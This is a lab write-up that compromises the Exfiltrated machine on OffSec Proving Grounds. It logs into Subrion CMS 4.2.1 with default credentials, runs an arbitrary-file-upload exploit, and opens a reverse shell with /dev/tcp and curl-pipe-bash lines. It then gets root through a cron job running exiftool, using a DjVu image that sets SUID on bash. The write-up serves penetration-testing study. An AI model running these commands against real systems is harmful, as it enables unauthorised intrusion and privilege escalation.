writeup 2026-01-10 · 4 min read

OffSec Proving Grounds Exfiltrated Writeup

Linux target. Subrion CMS 4.2.1 falls to admin:admin and an arbitrary file upload, then a root cron running exiftool 11.88 executes a malicious DjVu image.

OffSec Proving Grounds Exfiltrated Writeup

Summary

Exfiltrated announces Subrion CMS in its page footer, and searchsploit lists an arbitrary file upload for version 4.2.1 that needs an authenticated session. The admin panel at /panel accepts admin:admin and confirms the version, so the public exploit runs and returns command execution, which is staged into a proper reverse shell as www-data. The Subrion configuration gives up the MySQL credentials but the database holds nothing useful. What does matter is a crontab entry running every minute as root: a bash script that collects EXIF metadata from every jpg in the Subrion uploads directory using exiftool 11.88, a version vulnerable to the DjVu command execution flaw. Dropping a crafted image that sets the SUID bit on /bin/bash into that folder and waiting one minute gives root.

Web Server Enumeration

This is how the web server home page looks like:

The Exfiltrated home page with its Subrion CMS notice in the footer

At the bottom of the page, I locate a copyright notice that informs me about the software:

1
© 2026 Powered by Subrion CMS

I look for exploits for this software:

1
searchsploit Subrion CMS

And find multiple exploits for multiple versions. The most recent version I see in the exploits is “4.2.1”:

1
2
3
4
5
Subrion CMS 4.2.1 - 'avatar[path]' XSS             | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload          | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CS | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting           | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (X | php/webapps/51110.txt

They look interesting, but specially the Arbitrary File Upload one. This generally leads to remote code execution. I mirror it to my current directory:

1
searchsploit -m php/webapps/49876.py

I start reading through the exploit code, and see it requires login username and password:

1
2
3
4
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")

But I have no credentials at the moment.

Initial Access - Subrion v4.2.1 Arbitrary File Upload

The target URI they specify is “http://target/panel/”. I follow the access http://exfiltrated.offsec/panel/. I try some common combinations like “admin:admin” and it works. The /panel/ endpoint also informs the the precise software version (v4.2.1):

The Subrion admin panel login page showing version 4.2.1

I am now authenticated to the panel as admin:

The Subrion administration dashboard after logging in as admin

I use the exploit like so:

1
python3 49876.py -l admin -p admin -u http://exfiltrated.offsec/panel/

It works and now I have RCE:

The arbitrary file upload exploit returning an interactive command shell

I create “shell.sh” on my machine:

1
sh -i >& /dev/tcp/192.168.45.178/9999 0>&1

And prepare a python web server:

1
sudo python3 -m http.server 80

Start netcat listener on port 9999:

1
nc -lvnp 9999

And use the shell provided by the exploit to obtain a reverse shell:

1
$ curl 192.168.45.178/shell.sh|bash

Now I have a reverse shell and can proceed to stabilize it with python3:

1
2
3
4
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
^Z (press ctrl + Z)
stty raw -echo; fg

Lateral Movement

Find database credentials

1
www-data@exfiltrated:/var/www/html/subrion$ find . -type f -name '*.php' -exec grep -ri localhost {} --color -C5 \;

More specifically

1
2
3
4
5
6
7
define('INTELLI_CONNECT', 'mysqli');
define('INTELLI_DBHOST', 'localhost');
define('INTELLI_DBUSER', 'subrionuser');
define('INTELLI_DBPASS', 'target100');
define('INTELLI_DBNAME', 'subrion');
define('INTELLI_DBPORT', '3306');
define('INTELLI_DBPREFIX', 'sbr421_');

I connect to the database on port 3306 using the credentials but there’s nothing interesting there.

Vertical Privilege Escalation

There’s a suspicious crontab that runs every minute at

1
2
3
4
$ cat /etc/crontab

<SNIP>
* *     * * *   root    bash /opt/image-exif.sh

This is how the bash script looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata 

echo -ne "\\n metadata directory cleaned! \\n\\n"


IMAGES='/var/www/html/subrion/uploads'

META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename; 
do 
    exiftool "$IMAGES/$filename" >> $LOGFILE 
done

echo -ne "\\n\\n Processing is finished! \\n\\n\\n"

It’s basically searching for jpg images in /var/www/html/subrion/uploads and running “exiftool” against each one of them. I check for the exiftool version installed on the machine:

1
2
www-data@exfiltrated:/var/www/html/subrion/uploads$ exiftool -ver
11.88

This version is vulnerable to quite a few well known exploits. I use this exploit. The exploit description reads:

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

I install the required packages:

1
sudo apt install djvulibre-bin

And use the exploit script (saved in this case as “malicious.py”) to generate a malicious image file:

1
python3 malicious.py -c 'chmod +s /bin/bash'

It saves the malicious image as “image.jpg”:

The crafted DjVu payload written out as image.jpg

I start a simple python http server:

1
sudo python3 -m http.server 80

I use my reverse shell in the victim machine to transfer the malicious image over to the /var/www/html/subrion/uploads folder:

1
wget 192.168.45.178/image.jpg

After a few seconds, the crontab runs as root and now I can execute bash privileged (/bin/bash -p). The screenshot below shows proof of compromise:

Proof of compromise, a root shell from the SUID bash the cron job produced

This post is licensed under CC BY 4.0 by the author.